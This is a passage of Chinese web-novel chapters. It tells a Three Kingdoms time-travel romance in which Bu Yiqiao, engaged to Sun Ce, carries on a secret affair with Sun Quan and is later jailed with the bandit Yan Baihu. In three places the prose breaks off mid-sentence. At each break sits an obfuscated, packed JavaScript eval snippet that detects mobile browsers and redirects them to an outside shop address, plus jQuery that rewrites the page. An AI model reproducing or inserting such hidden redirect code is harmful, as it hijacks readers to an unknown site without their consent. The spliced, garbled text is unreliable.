“开心”二字猝不及防地刺进步一乔的心口,细细密密地疼。 稍比“仲谋”二字没那么折磨人。 她看着眼前这张年轻、真挚、满怀憧憬的脸,所有准备好的说辞,所有坚定的决心,在这一刻土崩瓦解。 一股巨大的心虚和罪恶感将她淹没。 她刚才还在为阻拦孙权坦白而庆幸,此刻却觉得自己的存在,本身就是对这份纯粹情感的玷污。 “谢妹妹……”她艰涩地开口,声音有些沙哑,“你……你们会很相配的。” 这话出口,连她自己都觉得虚伪至极。 谢姑娘嫁给孙权并不算喜事,就算没有她步一乔,按照正史,谢夫人可是孙权众夫人中最不幸的。 “真的吗?!有姐姐这句话,我心里踏实多了!” 谢姑娘眼睛一亮,心满意足地松开手。 “姐姐是要去透气吗?仲谋也不知去了哪儿……姐姐快去吧,我这便回去了。” “嗯……” 看着谢姑娘轻盈转身、带着满心欢喜离去的背影,步一乔独自站在原地,廊下微弱的光在她脸上投下明明暗暗的光影。 偏厅就在前方不远处,那扇门后,是那个说“此生惟愿与你结为夫妻”的男人。 而她,刚刚亲口祝福了他的未婚妻。 还要去吗? 去说什么?去告诉他,他未来的夫人多么爱慕他,而她自己,这个与他纠缠不清的人,竟然可耻地生出了“成全”的念头? 步一乔像是被钉在原地,方才赴约的决绝,在谢姑娘那清澈无辜的欢喜面前,碎成了一地狼藉的犹豫。 她居然……真的想要成全他们。 26. 囍春来 这个念头一旦清晰,便是自毁般的决绝。 步一乔最终没有走向那条通往风暴的廊道,而是转身,折向了庭院深处。她需要孤独,来浇灭心头的妄念。 她与孙权,是妄念。 她是为孙策而来,不是他孙仲谋。 然而,在偏厅那扇虚掩的门后,孙权将她的挣扎、她的退缩,看得一清二楚。 “一乔……步一乔……”咬紧的牙关溢出他念入肺腑的名字。 预期的怒火并未席卷而来,取而代之的是一种更深、更无力的钝痛。他看着她离去,如同看着自己生命中唯一不受控的光源,正从他指缝间一点点溜走。 他不能像对待敌人那样强攻,也无法像服从母亲兄长那样顺从这份安排。 “呵……” 一声极轻的、带着自嘲的笑在空寂的偏厅响起。他是在笑自己,笑自己堂堂江东孙仲谋,竟也有如此束手无策、爱恨不得的一天。 他没有立刻出去。而是独自在阴影里站了许久,将翻江倒海的情绪一点点压回心底,重新铸成那副沉稳冷静的面具。 他不能在此刻失态,不能让兄长和母亲看出端倪,那会毁了一切,也会……吓跑她。 “不想你再离开我了……不对,是不许。” 当孙权终于推门而出,回到宴席时,他的姿态无可挑剔。他向吴夫人和谢氏族老致歉,语气恭顺:“方才酒意上涌,恐失仪态,特去醒酒,劳母亲与谢公久候。” 他甚至依着母亲的心意,对谢姑娘颔首示意,举止得体。唯有在目光掠过步一乔空着的座位时,眸色会几不可察地沉静一瞬。 他坐回孙策下首,如同最忠诚的臣与弟。兄长正与母亲、谢氏家主畅谈,意气风发。孙权安静地听着,偶尔附和。 兄长,你要江东,我要她。 可你若知道……我这份心思,是否会如同对待敌人那般,将我彻底铲除? 这个念头让他心底发寒,却也燃起一丝更隐秘的决绝。他不能明抢,那会触犯他绝不敢触碰的底线。 但他可以等,可以谋。 他比兄长更有耐心,更懂得隐忍。 他会将这份欲望小心藏好,藏在忠臣孝子的皮囊之下。直到他拥有足够的力量,直到时机成熟的那一天…… * 步一乔整理好情绪回到堂中,见到孙权时愣了下,立马恢复如常,落座后与孙策笑谈方才在庭中发现的花苞。 孙策无奈轻笑,为她拢了拢披风:“又去受寒……莫要着凉。” 对座,孙权正侧耳倾听谢姑娘低语,唇边衔着抹清浅笑意,两人一颦一笑皆是世家子弟应有的风仪,般配得刺目。 步一乔的余光总能勾勒出他的轮廓,除非剜去这双眼。 不经意抬眸,竟直直撞入那人转来的视线里。 孙权遥遥望来,眸色深沉,嘴角却牵起一个无可挑剔的、属于“未来叔嫂”的浅笑,颔首致意。谢姑娘循着他的目光望来,亦对她展露一个带着羞怯与喜悦的笑容。 步一乔强迫自己回以一笑,随即垂眸,盯着案上酒觞繁复的纹路。 “一乔。”吴夫人含笑唤道,“过些日子去做婚服,把谢姑娘也一同带上。若是你二人的婚事能同日举行,双喜临门,未尝不可啊!” 谢公一听,眼中精光一闪,抚掌笑道:“岂不妙哉!孙氏双璧同日迎娶新妇,届时,整个江东,怕是要沸反盈天了!” 满堂宾客闻言,皆是附和与恭维之声。 然而,身为当事者的四位年轻人,却陷入一种奇异的静默。 步一乔的脸,从方才被迫与那“一对新人”相视一笑后,便褪去了血色,苍白得厉害。孙策的目光始终笼着她,立刻察觉不对,手背自然地贴了贴她怀中的手炉。 “果然凉了。” 他唤来侍从更换炭火,随即在桌案的遮掩下,将步一乔冰凉的手拢入自己掌心。宽厚温热的手掌轻易便将她的包裹,比任何手炉都暖,也更让她心生愧疚。 对座,谢姑娘正微微倾身,为孙权斟上新烫的酒。她缱绻含情的目光,几乎未曾离开过身旁那张俊美却淡漠的侧脸。 孙权平静地接受着这一切,面容如同一张完美无瑕的面具,连唇角那抹应景的浅笑都弧度标准。 然而,那平静无波的表面下究竟翻涌着怎样的念头? 是无动于衷的默认?是步步紧逼的盘算?还是被这“双喜临门”深深刺痛的疯狂? 无从可知。 * 宴席终了,谢氏一族登车离去。步一乔随孙策立于门阶相送,前方是吴夫人与孙权并肩的身影。 “一乔觉得如何?”孙策忽而低声相问。 步一乔心下一惊,面上不动声色:“伯符何意?方才宴席所言,句句属实。” 孙策轻笑,声音低沉,唯有她可闻:“方才那些冠冕堂皇之语,不是替仲谋解围的权宜之计吗?” 步一乔身形彻底僵住。 他竟看得如此分明? 孙策垂眸望来,目光沉静,道:“抛开所有,一乔心底,究竟如何作想?” “我心底……” 如何能说?怎敢言明? 她鼻息间逸出一丝极轻的笑,像是自嘲:“解围不假,话中字句……亦非虚言。” 她的目光越过前方那道挺拔如松的背影,那日无法得出结论的问题,眼下终是有了答案。 对孙策,是不甘,是事不成不罢休的决绝,却唯独少了那份让她主动献身的心甘情愿。 对孙权,是愧疚,是无法释怀他死于自己怀中的耿耿于怀。 那不过是被命运捉弄、在惊惧与孤独中相互依偎的身体契合的本能,无关情爱深浅。 从山野那个荒诞又真切的春梦起,她喜欢的,让她心弦震颤、不顾一切的,从来都只是那一个人。 那个会用宽厚手掌笨拙地安抚她,不信来生却因一眼而笃信前世,说要拼尽全力护她周全的人。 “能得如此贤淑佳偶,结两姓之好,于他,于孙家,何尝不是一桩幸事?” 孙策沉默片刻,宽厚的手掌在衣袖遮掩下悄然覆上她微凉的手指,紧紧握住,温暖而坚定。 “我与一乔,亦是幸事。” 步一乔没有挣脱,反而轻轻回握了一下。 * 只专注于彼此的两人,未曾留意吴夫人与孙权已转过身来,将他们在袖底遮掩的亲密尽收眼底。 “瞧瞧这两人,”吴夫人眼中含笑,语气带着慈爱的打趣,“咱们一转身便忍不住亲近起来。” 步一乔面颊一热,下意识想抽回手,指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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热度并非源于风寒,倒像是从心底灼烧出来的。而他的指尖,竟也带着同样的滚烫。 “你也是。”步一乔弯起唇角,眼底映着廊下摇曳的灯火。 “那……晚安?” “伯符晚安。” 她立在门前,目送那道挺拔的身影融入夜色,直至彻底消失在廊庑转角。 唇边犹带笑意,步一乔正欲转身阖门,动作却猛地一滞。 并非听到声响,而是感受到一道无法忽视的视线,沉甸甸地烙在她身上。 她循着直觉望去—— 廊下最深的阴影里,他静立着,不知已看了多久。 月光绕过他,只吝啬地勾勒出肩线一抹冷硬的轮廓。黑暗模糊了他的神情,唯独那双眼睛,沉静如寒潭,正一瞬不瞬地锁着她。 没有称呼,没有言语。 他就这样从隐匿处缓步走出,步履无声,如同踏在人心弦之上。夜风卷起他的衣袂,带来一股清冽又危险的气息。 他在她面前几步外站定,目光未曾须臾偏离。 “嫂嫂?那一吻,可还尽兴?” 27. 春昼短 步一乔没有回答。她甚至没有再看孙权一眼,只是骤然转身,伸手便要合上房门。 “砰——” 一声闷响,门扇在闭合前被一股强大的力道抵住,孙权的手掌死死撑在门板上。 门,终究没能关上。 一道门槛,划出清晰的界限。一个在门内,一个在门外。 步一乔站在屋内的阴影中,终于抬眼,迎上那道几乎要将她灼穿的目光。 廊下的灯火在他身后勾勒出模糊的光晕,却照不进他深邃的眼底。孙权高大的身影堵在门口,如同无法逾越的山,隔绝了所有退路。 “让开。” 孙权非但未退,反而向前逼近半步,半个身子几乎要跨过门槛,侵略感瞬间弥漫开来。他微微俯身,目光如锁链缠绕着她。 “回答我。” “回答你什么?我吻自己的未婚夫婿,还需向你交代吗?” “未、婚、夫、婿?”孙权眉头狠狠一拧,眼底寒意更盛,“你不是我嫂嫂。” “嗯,我不是。”步一乔勾唇冷笑,“你是我小叔子,这样总行了吧?小、叔。” “步一乔!” 三个字从孙权齿缝间碾磨出来,他猛地抬手,似乎想抓住她。 步一乔心头一凛,下意识后退一步。这一退却,似乎刺痛了快要失控的男人。 “你怕我?” 孙权声音低沉下去,黑色的眸子暗潮翻涌。 “你当着我的面吻兄长时怎么不怕?” 步一乔心头猛跳,面上却强自镇定,甚至故意扬起下巴,迎上他几乎要噬人的目光。 “我怕什么?怕你以下犯上,还是怕你……不顾礼法,做出什么大逆不道的事来?白日里当着两家长辈的面,你是真疯癫了是吧!” “以下犯上?大逆不道?”孙权低笑一声,“在你我心里,几时有过那些东西?” “那是你!孙权,别忘了自己的身份,也别忘了我的!” “身份?”他立刻打断她,“在兄长面前故作温顺,在我面前却又放肆风流的人,究竟是谁?那个在山野间与我——” 话音戛然而止。 步一乔蹙眉歪头,脸上是真切的不解与探寻。 “山野?什么山野?” 孙权死死盯着步一乔的眼睛,试图从里面找出一丝一毫伪装的痕迹。 她没有闪躲,只有纯粹的困惑,与那日廊下如出一辙。 她竟然,真的忘得一干二净?或者说,她从未真正记得过?如她所言,只是南柯一梦? 倘若步一乔喜欢上兄长,是因为山野时的误会…… 一种比愤怒更刺骨、比占有欲更无力的冰凉,顺着孙权的脊椎爬升。 “说话!” 步一乔忽又不想与他多语。如果再继续僵持下去,再不将他撵走,后果是什么,她已然明了。 “罢了。夜深了,二公子回房休息吧。” “二公子?”孙权反唇讥笑,“孙将军、小叔子、二公子,下一个是什么?” “下一个是你再不走,我就要——” 忽然,廊外庭院深处,一只野猫突然窜过矮丛,碰翻了什么物什。突如其来的声响让精神紧绷的步一乔下意识地侧头,视线本能地朝声音来源瞥去—— 不过刹那的分神,一股不容抗拒的力道猛地攫住她的手臂,将她向前一扯,随即狠狠推向屋内。 步一乔猝不及防,踉跄着向后跌去。 与此同时,孙权一步跨入房内,反手重重甩上了房门。 “孙——”厉声喝止及时止住,步一乔的双手双脚皆在发抖,“出去。” 黑暗中,他步步逼近,如同蛰伏已久的野兽,终于将觊觎已久的猎物,困在他的巢穴。 只是这头兽,是病态的。 “入夜了。天凉,你会着凉的。” “孙权!出去!” 他仍在逼近。 “步一乔,你是故意招惹我,还是真蠢到这般地步?” “……你骂我?!明明那夜是你骗我——” “是你。” 孙权淡然打断,两人如同对好台本的对手,清楚彼此下一句台词。 “初夜是你强迫在先。骗你至我房中那夜,不是初夜。” “……什么?” 步一乔被他逼得连连后退,脚跟不慎一绊,身形趔趄。孙权眼疾手快,一把扣住她的后背。温热细腻的触感窜遍全身。她试图挣脱,却发现他力道惊人。 “可得小心啊。还是说……摔倒了,好办事儿?” “你——!”这人竟敢调戏我?! 孙权的手抚上她的脸颊,沿轮廓滑至颈侧最敏感处,引得她喉间逸出一声闷哼。 “非要这样吗?” “哪、哪样?” “白日里与兄长做相敬如宾的未婚夫妻,夜里与我缠绵?” “行啊,你现在出去,就当我们之前都在做梦,你和我从未发生任何事。” “不可以。”孙权捧住她的脸,眼角有泪,“不可以忘记。怪异就怪异吧,我不想忘记。” 步一乔混乱的思绪中忽有一线清明,她抓住他的手腕。 她想问他为何记得未来,可这么问,岂非暴露了自己不属于这个时代?他还知道多少?他如何能像她一样,置身时间之外? 好烦。与他有关的一切,都烦心得要命,得不到答案。 不能问,至少此刻不能。 “一乔……步一乔……一乔……” “你这人……”步一乔气得牙痒痒,“要耍流氓就硬气点!别做出一副要哭的样子!到底是你在欺负我,还是我在欺负你啊!” 孙权埋下头,最后无力地将额头靠上步一乔的锁骨处。 “从听闻是商谈我的婚事起,便浑身不自在。恨不得将你抓到母亲面前,恨不得当场立誓。哪怕兄长恨我,往后在吴郡抬不起头……我也想与你,结发为夫妻。” 他哭了,默默地流着泪,染湿她的衣裳。 “宴席上你不该制止我的。身败名裂而已,大不了远走高飞,浪迹天涯,山野大川,只你我。” “你怎么也作起诗了……” 步一乔听不得这样动人的情话,心会乱得一塌糊涂。 尤其是出自他口。 她双膝发软,连同全身重量都压在她身上的孙权,一同跪倒在冰冷地面。 “我讨厌你……”讨厌他把自己搞得一塌糊涂。 孙权哭着笑了,手臂紧紧圈住她发抖的身子。 “我也讨厌你。” 这还是他第一次说“讨厌”。 以往都是“心悦”。 是吧,讨厌这样的自己,明明是新时代思想开放的青年,眼下却同封建糟粕思想禁锢的古人,还不如眼前这位千年前的人胆大。 至少他敢承认自己心悦的人,且不知餍足地,一遍一遍告诉她。 空气在地面凝结成霜,步一乔清晰感受到肩颈处被泪水濡湿的温热。他像个迷途的孩子,将所有的脆弱都暴露在她怀里。 步一乔自己又何尝不是。 方才在外得出的结论似乎又被推翻。 “不过是被命运捉弄、身体契合的本能,无关情爱深浅。” 哪里无关了? 虽然不愿承认,但她……当真深陷于情爱的陷阱,与他,与孙权,无法自拔。 * 那句“我也讨厌你”之后,是长久的沉默,在黑暗中显得格外沉重。 步一乔的心乱成一团。理智告诉她,必须立刻划清界限,趁一切还能挽回。 可被他紧紧环抱的身体,却背叛般地贪恋着这份温暖与真实。 终于,她深吸一口气。 “孙权,我们……不能这样下去了。” 这是畸形的爱,没有结果的爱。 环抱着她的手臂骤然收紧,像是怕她下一秒就会消失。 “所以呢?” 孙权的声音闷在她的颈窝,有未散的鼻音,却已恢复了三分平日的冷静。 “你的决定是什么?从此桥归桥,路归路,你做我名正言顺的嫂嫂,我娶我门当户对的谢氏?” 平静的话语扎在心脏最痛的地方。 “这是最好的选择。” 步一乔强迫自己用最平静的语气说出这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16517844|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话,仿佛在陈述一个与己无关的事实。 “对你,对我,对伯符,对孙家,都是。” “最好的选择……” 孙权品味着几个可笑的字。他抬起头,即使在昏暗中,步一乔也能感受到他目光的锁定。 “那我的‘最好’呢?你对我,难道就只有权衡利弊后的‘应该’与‘不应该’?” “不然呢?!”步一乔被逼出了火气,声音也扬了起来,“难道要像你说的,远走高飞,浪迹天涯?孙权,你是孙家二公子!不是山野村夫!你肩上扛着江东孙氏的基业,你走了,你母亲怎么办?你兄长怎么办?整个江东上下又怎么办?!” 她用力想抽回手,却被他攥得更紧。 “那我们呢!” “我们之间,本就是个错误!我不该来,不该到此,不该与你……” 不该与你相识相恋,不该与你踏入错误的关系中。 “错误?”孙权忽然笑了,苍凉无力的笑,“即便是错,我也认了。” 他凑近她,逼视她的眼睛。 “步一乔,我给你两个选择。” “第一,你现在推开我,走出这扇门。从此你只是我的嫂嫂,我只会对你行叔嫂之礼,绝不再越雷池半步。今夜之事,此生不再提。” “第二,”他停顿了下,深思熟虑后道出,“继续这个‘错误’。偷偷摸摸也好,惊世骇俗也罢,只要你点头,剩下的事,我来扛。” 步一乔浑身僵在原地。 她知道自己该选第一个。那是最正确、最安全、对所有人都好的路。可她的嘴唇像是被封住了一般,无论如何也说不出口。 她的沉默,在孙权眼中已然是答案。 他低低地叹息,是如释重负的,又是得偿所愿的。他再次将她拥入怀中,是某种尘埃落定的占有。 “我知道了。既然你无法抉择,那我替你选。从今往后,你就是我孙仲谋孝廉之下的罪孽,我甘之如饴的……万劫不复。” “你也如此期望的,对吧?一乔。” 步一乔不语,闭上眼,没有再挣扎。 她知道,界限没有被划清,反而在这一刻,被彻底碾碎了。她任由自己沉溺在这片偷来的温存里。 “孙……仲谋……” “嗯,一乔。” “我讨厌你……” 失却了所有锋芒,只余下无可奈何的认命,和她自己都未曾察觉的依赖。 孙权收紧手臂,将下颌轻轻抵在她的发顶,近乎痛楚的温柔。 “嗯。我心悦你。” 前路是深渊也罢,是地狱也好,她似乎已经没有回头的力气,也不愿再要那退路了。 “一乔,我想吻你。” 询问过后,他温热的呼吸近在咫尺,带着未干的泪痕,小心翼翼地覆上她的唇。而后忘乎所以地辗转反侧,碾压过齿列,软糯的舌尖纠缠、追赶、抵触。 两个哭泣的人,在黑暗中用近乎撕咬的亲吻确认彼此的存在 所有的顾虑、恐惧与道德枷锁,在这一刻都被忘却,只剩下唇齿间咸涩的泪水和灼热的喘息。 “仲谋……” “嗯。” “抱我。” 孙权两手扶住步一乔的腰,抱起她坐在自己腿上。姿势一稳,两人又立马贴上唇瓣。 他的手还停在她的腰上,她的手臂搭在他的肩上,彼此间没有距离,没有后退可言。 意乱情迷、忘乎所以之际—— 步一乔被吻得意识迷离,眼睫微颤着睁开一线,目光无意间掠过房门的方向。 刹那间,她浑身血液逆流冻结。惊吓中下意识咬紧唇瓣,却磕在了孙权的唇上,引得他一声闷哼。 “唔……” 步一乔瞬间抬手死死捂住他的嘴,惊愕着死死盯向窗外。 窗外,一道修长的影子被月光清晰地投射在窗纸上,轮廓熟悉得让她心胆俱裂。 脚步声极轻,停在窗外,再无动静。 没有敲门,没有询问。 只有一片刻意维持的、令人毛骨悚然的寂静,和一个模糊却无法忽视的人影。 ……是他?! 28. 晚来客 那脚步声缓缓移近,最终停在了门的另一端,与他们仅一门之隔。 两人向来只在孙权房中亲密,那日街上虽让她去自己房里,最终去的仍是他的屋子。 步一乔鬼使神差地想扭头确认,肩头却被孙权猛地按住。 他摇了摇头,自始至终未曾看向窗上那道凌迟神经的影子,反而用双手捧起她的脸,近乎粗暴地撬开她的唇齿,用灼热的纠缠强行搅乱她惊恐的思绪。 “别管他。”他在换气的间隙,于她唇边沙哑低语,气息滚烫,“此刻……只准想我。” 步一乔想说出那人是谁,嘴又被堵住。 他的吻带着一种破釜沉舟的疯狂,更像是一种宣告,对窗外那人,也是对怀中这具仍在颤抖的身体。 步一乔被他禁锢在怀中,视线被他的脸庞完全占据,唇舌被肆意侵占,耳中只剩下彼此混乱的喘息与擂鼓般的心跳。门外令人胆寒的存在,竟真的在这近乎自毁的缠绵中,被短暂地逼退成模糊的背景。 他在用这种方式告诉她—— 即便被窥视,即便下一秒便是万丈深渊,此刻占有她的,依然是他,孙仲谋。 窗外的人影微微一动,在长久的静默后,终究还是转身离去,脚步声渐行渐远。 步一乔的心随之直直下坠。 他……一定知道了。 她开始无法自控地发抖,手指死死攥紧孙权胸前的衣料,将脸埋在他怀中,再也无法继续那个吻。 “孙权……怎么办……他肯定知道了……他一定听到了……” 孙权有些许愠怒,捧覆在步一乔脸上的手使哼发气地揉搓。 “不必担心。不会有事的。” “什么不必担心!”步一乔心如死灰,几乎要崩溃,“我完了,你也完了!我们又要名扬天下、身败名裂了!” 孙权竟低低地笑了一声,将她颤抖的身子更深地拥入怀中,鼻尖抵在她沁出薄汗的侧颈,深深吸入属于她的气息。 “江东孙权,因贪恋嫂嫂美色,抛却伦理,被人发现,逐出孙氏,最终与她在刑场之上,共赴黄泉。” 他将可怕的结局说得如同誓言般认真。步一乔信以为真,吓得猛地推开他,挣扎着就要起身。 “不行……我去跟他解释清楚!” “不许去!” 孙权一把按住她的肩膀,力道之大让她重新跌坐回他腿上。他眉头紧锁,眼中压抑着怒火,直直地瞪视着她。 “都怪你。” “……什么?” “分明是我先遇见你的。分明是我先与你心意相通。都怪你……让后来者居上。” 这话说得没头没尾,让步一乔一时竟忘了恐惧,只剩错愕。 “你……你在胡说些什么……” “我没有胡说。” 孙权打断她,沉静的眸子紧紧锁她,不许她逃离分毫。 “你的眼睛,最先看到的是我;你的心,最先为之悸动的,难道不是我吗?” 不给她思考的间隙,他再次逼近,额头抵着她的额头,鼻尖蹭着她的鼻尖,用一种近乎催眠的语调低语: “看着我,一乔。此刻在你眼前的,是谁?” “是……是你……” “我是谁?”他执拗地追问,手掌覆上她的后颈,不许她逃。 “孙……孙权……孙仲谋……” “对,是我。”他的声音低沉而蛊惑,“所以,不要再想别人了。你的眼里,心里,都只能装着我。” 他的吻再次落下,将她所有的感官和思绪牢牢捕获。他的指尖在她颈后和腰背上轻轻划动,强行将她的注意力拉回到当下的亲密之中。 “听见我的心跳了吗?” 他将她的手按在自己胸口,剧烈而快速的搏动,一下下撞击着她的掌心。 “它在为你跳。你只能感受这个,只能想这个。” 步一乔在他的攻势下节节败退,理智的碎片被搅得七零八落。窗外的身影,可能的危险,道德的枷锁,似乎真的在这一刻被这病态的专注强行隔绝开来。 他不要她思考后果,不要她恐惧未来,他只要她沉沦于此地,此刻,与他一同万劫不复。 “说你不想他了。” 他在她唇边厮磨,语气温柔却带着致命的威胁。 “我……我……” 步一乔眼神迷蒙,残存的意识让她无法轻易说出那句话。 孙权眸光一暗,在她下唇不轻不重地咬了一下,留下细微的刺痛。 “说。” “……不想了。” “谁不想了?” “我不想了。” “不想谁?” “不想……任何人。只想你。” “真乖。” 他终于满意,将她深深拥入怀中,像是抱住了失而复得的珍宝。 黑暗里,他无声地勾起唇角。 一乔看,你终究是我的。无论用何种方式。 * 他怀抱的力道渐渐松懈,转为一种绵长而固执的缠绕。下颌抵着她的发顶,声音闷在青丝间。 “一乔,今晚留在此处。” 这不是询问,是决定。 步一乔身心俱疲,连摇头的力气都吝啬给予,只模糊地“嗯”了一声,算是默许。 “这儿是我的卧房。” 孙权轻笑一声,将她打横抱起,走向床榻。将她安置在里侧,扯过锦被仔细盖好,自己则和衣躺在外侧,长臂一伸,依旧将她圈在势力范围内。 来不及点灯的室内,唯有清冷月光透过窗纸,吝啬地洒下几缕微光。步一乔睁着眼,望着孙权衣裳布料模糊的纹路,方才被强行压下的恐惧与忧虑,如同潮水般缓缓回流。 窗外……那人真的离开了吗? 他究竟听到了多少,又作何想? 明日,又该如何面对? 她身体不自觉地微微一颤。 “别想。” 孙权的手臂收紧了,精准地捕捉到她情绪的波动,轻柔的吻落在眉心,吻去浮躁。 “睡吧。” 他的气息拂过她的耳廓,温热而真实,奇异地抚平了些许她内心的惊悸。步一乔闭上眼,强迫自己不再去想。 就在她意识逐渐模糊,即将沉入睡眠之际,耳边传来他低如梦呓的话语。 “若兄长问起……便说是我强迫于你。” 步一乔睡意瞬间驱散大半,倏然睁开眼,在黑暗中撞进他的眼瞳。 “……你知道?” “猜得到。兄长的脚步声……很特别。” 步一乔没有回应,将脸埋入他的臂弯深处。 孙权也没再说话,只是收拢手臂,将她更深地拥入怀中。 长夜漫漫,危机四伏,两颗背离了伦常轨道的心,却在这一方小小的床榻之上,寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524903|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了短暂而脆弱的依偎。而黎明之后等待他们的,是未知的审判,还是更深的沉沦? 无人知晓。 * 天明之前,孙权松开圈了步一乔一夜的手臂,如来时一般悄然离去。 早膳时照面,两人颔首行礼,如同最寻常的叔嫂,将昨夜惊心动魄的纠缠尽数掩藏。 日复一日,反反复复。在愧疚与隐秘的欢愉间辗转,步一乔觉得自己快要被撕裂。 她不明白自己为何会变成这样,甚至开始厌恶自己,觉得自己恶心。 孙策的表情一如既往,见步一乔又只穿了单薄衣裳随他出门,无奈牵着她返回卧房添衣。 “手冻得这么僵,好了伤疤忘了疼?” “起床匆忙,怕赶不上用膳。”她低声应着,不敢看他的眼睛。 正旦过后,军中事务繁忙。孙策今日要巡视城门,邀步一乔同往。尽管她再三推辞,最终拗不过,只好答应。 “你到吴郡这些时日,不是忙着过节就是卧病,我带你出去走走。” “……好。” 城墙上,孙策遥望远处山河,语气淡然。 “我如霸王,却不是霸王。或许人生轨迹相似,但我会走出与他截然不同的结局。” 步一乔看着身侧难得流露怅然的男人,悄悄埋下头,愧疚如毒虫啃噬心扉。 “伯符,有些话……想问你。” “你说。” “如若……”她抿了抿干涩的唇,“若我背叛了你,你会如何?” 孙策沉吟:“何种背叛?” “就……随便哪一种。” “比如?”他追问,目光平静。 就非得说出口吗?步一乔挠了挠后颈,豁出去道:“我同别的男人睡了!” 孙策怔住,一旁随行的士兵们也瞬间僵直。 “我、我打比方呢!你干嘛非要问嘛……”她真是服了自己这不过脑子的嘴。 孙策旋即失笑,抬手揉了揉她的发顶,道:“我知道,我信你。但按律法,此罪当斩……我为江东之主,恐怕难保你性命。” “砍头?!”步一乔颈后一凉。 感觉自己下一秒就会被人拖出去,同初见那般,将她关入地牢,秋后问斩。 做贼心虚,错事是藏不住的,终会败露。到那时,没人保得住她。孙权说得信誓旦旦,真到了刑场,他非但救不了她,只会与她一同被推上断头台。 真应了他那句“共赴黄泉”。 所以这次穿越,不是救不了孙策,而是她自己要先一步殒命了吗! 步一乔越想越多,跟在孙策身后走在大街上。不多时已行至军营,恰好撞见士兵押着一人走出牢房。 “此人名为严白虎,盘踞吴郡的山贼。虽已投降,但贼心不死,当以除后患。”孙策冷声道。 几人拖着严白虎经过。擦肩而过时,步一乔与那囚犯四目相对,无声中似有千言万语。 “等一下!”她突然叫住。 孙策看向她:“怎么了?” “他会被带去哪里?” “刑场,斩首示众。” “没有别的选择吗?” 孙策点头,而后略显迟疑:“你莫非想救他?” 步一乔垂下眼眸,万千思绪在脑中激烈交锋。片刻后抬眸,目光决绝地迎上孙策的视线。 “嗯。我要以命换命,保他性命。” 29. 九万字 孙策的脸上满是震惊和不可置信,不理解步一乔为何会有这番言语。 震惊之余是些许愠怒。 “自古有降者不杀的说法,将军若是此番将他斩首,后人会以何种目光看待将军?”步一乔强压下心虚,硬撑着一股气势。 “他诈降在先,欺我在后。此等奸徒,留之百害无利!” “可他们不过求活而已!既已一战即溃,足见并非枭雄之材。将军雄才大略,何必与这等人物计较?” 孙策的声音陡然沉下,目光如炬直刺她心底,“你为何如此袒护他?” 步一乔总不能说,是自己那点可笑的自尊心在作祟吧?既无法面对与孙权病态的关系,又不敢直面孙策的深情,只想找个最惨烈的方式逃离这一切。 “我只是……不愿将军清誉,因此等小事徒增非议。” 孙策嗤笑,冷笑,讽刺笑。 “我杀他会污我清名?他严白虎是什么高洁雅士吗?莫非在你眼中,我孙伯符杀一个祸乱乡里的贼寇,反倒成了罪人?” 不知为何,竟在他无声的凝视中,步一乔产生被深仇大恨之人盯上的错觉。她看向跪在地上的严白虎,委屈巴巴的可怜样,跟村口徘徊找不到家的傻孩子似的。 实在……于心不忍。 罢了,权当自己是个滥好人,“一举两得”吧。 “我言尽于此,”她偏过头,避开孙策锐利的视线,“将军自行决断。” 短暂的死寂后,孙策的眼中最后一点温柔也消失殆尽,冷硬如铁的号令响彻军营。 “来人。把桥一乔和严白虎,押入牢房。” * 此番是孙策第二次将她关进牢房,步一乔竟觉得几分安心。只是方才争吵时,她似乎有一瞬捕捉到孙策眼中深切的失望,心如刀割。 阴暗角落里,步一乔蜷缩着抱紧自己,双眸空洞。 严白虎靠坐在对面墙壁下,打量着这个素未谋面却要以命相救的陌生女子。 “你为何救我?” 步一乔抬眸,看向对面换了个姿势盘腿而坐的严白虎。 “你为何投降?”她反问。 “因为不想死。”严白虎直言不讳。 “你明知孙策杀伐果断,即便投降也未必能活,为何还要赌这一把?” “正如姑娘所言,我们这些山野流寇没什么大志向,只图个痛快。真要与正规军硬碰硬,无异于以卵击石。” “这便是我救你的理由。” 严白虎纳了闷,眉头轻蹙不解地向步一乔投去求解的眼神。 “虽说劫掠百姓确实不该,但罪不至死。你的部下愿意追随,想必你自有让人信服之处。我认你骨子里不坏,所以救你。” “多谢姑娘。”严白虎苦笑着摇头,“可惜孙策不是个会心软的人。结局无非两种——要么我死,要么我们一起死。现在看来,怕是后者了。” “没关系。” 步一乔将脸埋在膝间,声音闷闷的: “反正我也病了,时日无多,终究难逃一死。” “姑娘这话是……?” 就让她以这样的方式,结束这场毫无意义的历史改写吧。 “呵,是啊,就凭我……凭什么改写历史?”她自嘲地低笑,“没把原本的历史搅得天翻地覆,已经算我厉害了。” 严白虎沉默片刻,忽然拖着镣铐挪近了些:“姑娘得的什么病?我认识个云游四方的道士,医术很是了得,甚至能预言未来。” 步一乔轻笑着摇摇头,没有回答。 